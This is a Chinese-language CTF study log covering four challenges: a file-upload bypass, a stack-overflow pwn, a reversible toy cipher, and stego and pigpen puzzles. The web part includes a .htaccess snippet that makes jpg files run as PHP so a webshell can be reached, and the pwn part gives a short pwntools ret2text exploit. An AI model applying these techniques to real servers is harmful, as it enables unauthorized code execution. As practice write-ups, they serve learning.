当前位置: 首页 > article >正文

1.25学习记录

web

[SWPUCTF 2021 新生赛]easyupload3.0

文件上传先传一个马,发现传不上去,结合题目提示,这个题采用.htaccess绕过的方式,首先构造.htaccess文件

<FilesMatch "jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

.htaccess文件可以理解为一个解释器,可以将传进去的图片马改为php马,从而可以打通在这里插入图片描述上传之后再传个图片马,之后就可以蚁剑了在这里插入图片描述

pwn

[BUUCTF]bjdctf_2020_babystack

先用exe看一下
在这里插入图片描述再用ida看在这里插入图片描述在read处存在栈溢出,因为没有保护,直接打就可以了
exp:

from pwn import *
io=remote('node2.anna.nssctf.cn',28733)
io.sendlineafter("name:",b'100')
payload=b'a'*(0x10+8)+p64(0x4006E6)
io.sendlineafter("name?",payload)
io.interactive()

re

[SWPUCTF 2021 新生赛]非常简单的逻辑题

题目

flag = 'xxxxxxxxxxxxxxxxxxxxx'
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = ''
for i in range(len(flag)):
    s1 = ord(flag[i])//17
    s2 = ord(flag[i])%17
    result += s[(s1+i)%34]+s[-(s2+i+1)%34]
print(result)
# result = 'v0b9n1nkajz@j0c4jjo3oi1h1i937b395i5y5e0e$i'

题目的意思是在for循环中,对flag的ASCII值取整并赋给s1,对flag的ASCII值取余并赋给s2,在进行一个加密算法赋给result。
根据查询ai,分析思路:先在一定范围的ASCII值中,取整取余,分别赋给s1,s2
再定义一个函数命名为res,让其等于加密算法,此时的加密算法i已经不能再用i表示,替换成num
再写一个if判断,res与result的两两分组的值是否相等
exp:

flag = ''
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = 'v0b9n1nkajz@j0c4jjo3oi1h1i937b395i5y5e0e$i'
res = ''
num = 0
for j in range(0,len(result),2):
    for i in range(255):
        s1 = i//17
        s2 = i%17
        res = s[(s1+num)%34]+s[-(s2+num+1)%34]
        if res == result[j:j+2]:
            flag += chr(i)
            num += 1
print(flag)

在这里插入图片描述

misc

[NISACTF 2022]huaji?

用010查看附件发现是个jfif文件
在这里插入图片描述再用随波逐流一把梭了在这里插入图片描述发现隐藏文件,用binwalk分一下在这里插入图片描述得到的jpg查看一下exif在这里插入图片描述发现信息,试着用这串去解压缩包密码,发现不行,用随波逐流看一下在这里插入图片描述再试试这个密码,发现可以了在这里插入图片描述

crypto

[SWPUCTF 2021 新生赛]pigpig

这题更像是一个misc吧,主要认识猪圈加密,在随波逐流的224种编码图里有
题目附件在这里插入图片描述很明显下面有符号在这里插入图片描述照着图片手搓一下,得到whenthepigwanttoeat,加上框就可以了


http://www.kler.cn/a/524000.html

相关文章:

  • AI编译器之——为什么大模型需要Relax?
  • Nginx前端后端共用一个域名如何配置
  • 【Elasticsearch 】悬挂索引(Dangling Indices)
  • 25美赛ABCDEF题详细建模过程+可视化图表+参考论文+写作模版+数据预处理
  • 图神经网络驱动的节点分类:从理论到实践
  • YOLOv10 介绍
  • 工业级 RAG 实现 - QAnything
  • LeetCode100之子集(78)--Java
  • 合并二叉树(力扣617)
  • Verilog语言学习总结
  • Linux 4.19内核中的内存管理:x86_64架构下的实现与源码解析
  • 字节一面, Go语言的Map 的扩容机制是怎样的?
  • (三)Session和Cookie讲解
  • 2025春晚刘谦魔术揭秘魔术过程
  • 【仪器分析】FACTs-幅度
  • 【deepseek】deepseek-r1本地部署-第二步:huggingface.co替换为hf-mirror.com国内镜像
  • python学opencv|读取图像(四十八)使用cv2.bitwise_xor()函数实现图像按位异或运算
  • MySQL知识点总结(十三)
  • 【LeetCode】--- 二叉树的所有路径
  • nginx分发请求超时切换服务
  • C#:25大前沿特性揭秘
  • Axure PR 9 旋转效果 设计交互
  • C#System.Threading.Timer使用实例
  • 有限元分析学习——Anasys Workbanch第一阶段笔记梳理
  • 定西市建筑房屋轮廓数据shp格式gis无偏移坐标(字段有高度和楼层)内容测评
  • 【Samba】Ubuntu20.04 Windows 共享文件夹